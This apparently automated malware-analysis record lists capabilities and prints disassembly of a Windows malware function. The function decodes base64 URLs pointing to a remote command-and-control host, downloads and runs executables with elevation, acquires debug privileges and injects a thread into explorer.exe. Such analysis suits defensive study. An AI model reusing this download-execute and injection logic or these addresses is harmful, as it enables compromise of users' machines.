Function at 0x140001690
Capabilities:
Acquire debug privileges
Change the wallpaper
Create http request
Create process on windows
Create thread
Decode data using base64 via winapi
Download and write a file
Enumerate processes
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x1648]
mov eax, 0x1748
call fcn.140002950
sub rsp, rax
mov qword [rsp + 0x1780], rsi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r15d, r15d
mov dword [rbp + 0x1670], 0x100
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x1670]
mov qword [rsp + 0x28], r15
lea r9, [rbp + 0x320]
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2Rvd25sb2FkL3dhbGxwYXBlci5wbmc
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x1670]
lea rdx, [rbp + 0x530]
mov ecx, 0x104
mov byte [rbp + rax + 0x320], r15b
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x530]
mov edx, 0x104
lea r8, str._swallpaper.png
lea rcx, [rbp + 0x420]
call fcn.140001070
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.Stage3_Final
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x1400018c2
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0x320]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80800000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400017a4
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400018c2
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x420]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400017f1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400018c2
mov qword [rsp + 0x1740], r14
lea r9, [rbp + 0x1670]
mov r8d, 0x1000
lea rdx, [rbp + 0x640]
mov r14d, 1
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001880
nop dword [rax]
mov r8d, dword [rbp + 0x1670]
test r8d, r8d
je 0x140001880
lea r9, [rbp + 0x1678]
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0x640]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000187d
mov eax, dword [rbp + 0x1678]
cmp dword [rbp + 0x1670], eax
jne 0x14000187d
lea r9, [rbp + 0x1670]
mov r8d, 0x1000
lea rdx, [rbp + 0x640]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001820
jmp 0x140001880
mov r14d, r15d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14d, r14d
mov r14, qword [rsp + 0x1740]
je 0x1400018c2
mov r9d, 3
lea r8, [rbp + 0x420]
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x1670]
mov qword [rsp + 0x28], r15
lea r9, [rbp + 0xe0]
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
mov dword [rbp + 0x1670], 0x100
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2MyL3JhenNweQ
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x1670]
lea r9, [rbp + 0x640]
mov qword [rsp + 0x30], r15
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2Rvd25sb2FkL3JhenJ1c2hlbml5ZS5leGU
mov qword [rsp + 0x28], r15
xor edx, edx
mov r8d, 1
mov dword [rbp + 0x1670], 0x100
mov byte [rbp + rax + 0xe0], r15b
lea rax, [rbp + 0x1670]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x1670]
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], r15
lea rcx, str.QzpcV2luZG93c1xUZW1wXFJhenJ1c2hlbml5ZS5leGU
mov qword [rsp + 0x28], r15
xor edx, edx
mov r8d, 1
mov dword [rbp + 0x1670], 0x100
mov byte [rbp + rax + 0x640], r15b
lea rax, [rbp + 0x1670]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x1670]
lea rcx, [0x140005680]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov edx, 1
mov byte [rbp + rax - 0x30], r15b
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, qword [rsp + 0x1780]
mov rdi, rax
test rax, rax
je 0x140001b5f
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0xe0]
xor r9d, r9d
mov dword [rsp + 0x20], 0x800000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140001b56
lea r9, [rbp + 0x1670]
mov r8d, 2
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001b4d
mov eax, dword [rbp + 0x1670]
test eax, eax
je 0x140001b4d
mov byte [rsp + rax + 0x40], r15b
lea r8, [0x14000567c]
lea rax, [rsp + 0x40]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001a53
inc rax
test ecx, ecx
jne 0x140001a40
test edx, edx
jne 0x140001b04
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x640]
call fcn.1400010d0
test eax, eax
je 0x140001a8a
lea rcx, [rbp - 0x30]
call fcn.140001250
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1670]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001b5f
lea r8, [rsp + 0x4c]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x1670]
lea r8, [rsp + 0x48]
mov r9d, 0x10
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x54], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x1670]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b5f
lea rax, [rsp + 0x40]
lea r8, [0x140005678]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001b26
inc rax
test ecx, ecx
jne 0x140001b13
test edx, edx
jne 0x140001b4d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x1670]
mov qword [rsp + 0x28], r15
lea r9, [rbp + 0x640]
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
mov dword [rbp + 0x1670], 0x100
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2Rvd25sb2FkL3Zzcy5leGU
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp + 0x1670]
lea rdx, [rbp - 0x30]
mov ecx, 0x104
mov byte [rbp + rax + 0x640], r15b
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp - 0x30]
mov edx, 0x104
lea r8, str._svss.exe
lea rcx, [rbp + 0xe0]
call fcn.140001070
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x640]
call fcn.1400010d0
test eax, eax
je 0x140001c4f
xor eax, eax
mov dword [rsp + 0x60], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x64], ymm0
mov qword [rbp - 0x3c], rax
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x34], eax
lea rax, str.runas
vmovups ymmword [rbp - 0x7c], ymm0
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x78], rax
vmovups ymmword [rbp - 0x5c], ymm0
mov qword [rsp + 0x68], r15
mov dword [rbp - 0x70], 1
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001c4f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001d41
lea rdx, [rbp + 0x1f0]
mov dword [rbp + 0x1f0], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001d38
nop dword [rax + rax]
lea rax, [rbp + 0x21c]
lea r8, str.explorer.exe
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001cb4
inc rax
test ecx, ecx
jne 0x140001ca1
mov rcx, rbx
test edx, edx
je 0x140001cce
lea rdx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001c90
jmp 0x140001d38
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0x1f8]
test r8d, r8d
je 0x140001d41
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001d41
mov qword [rsp + 0x30], r15
lea r9, [0x1400014b0]
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x140001d38
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001d41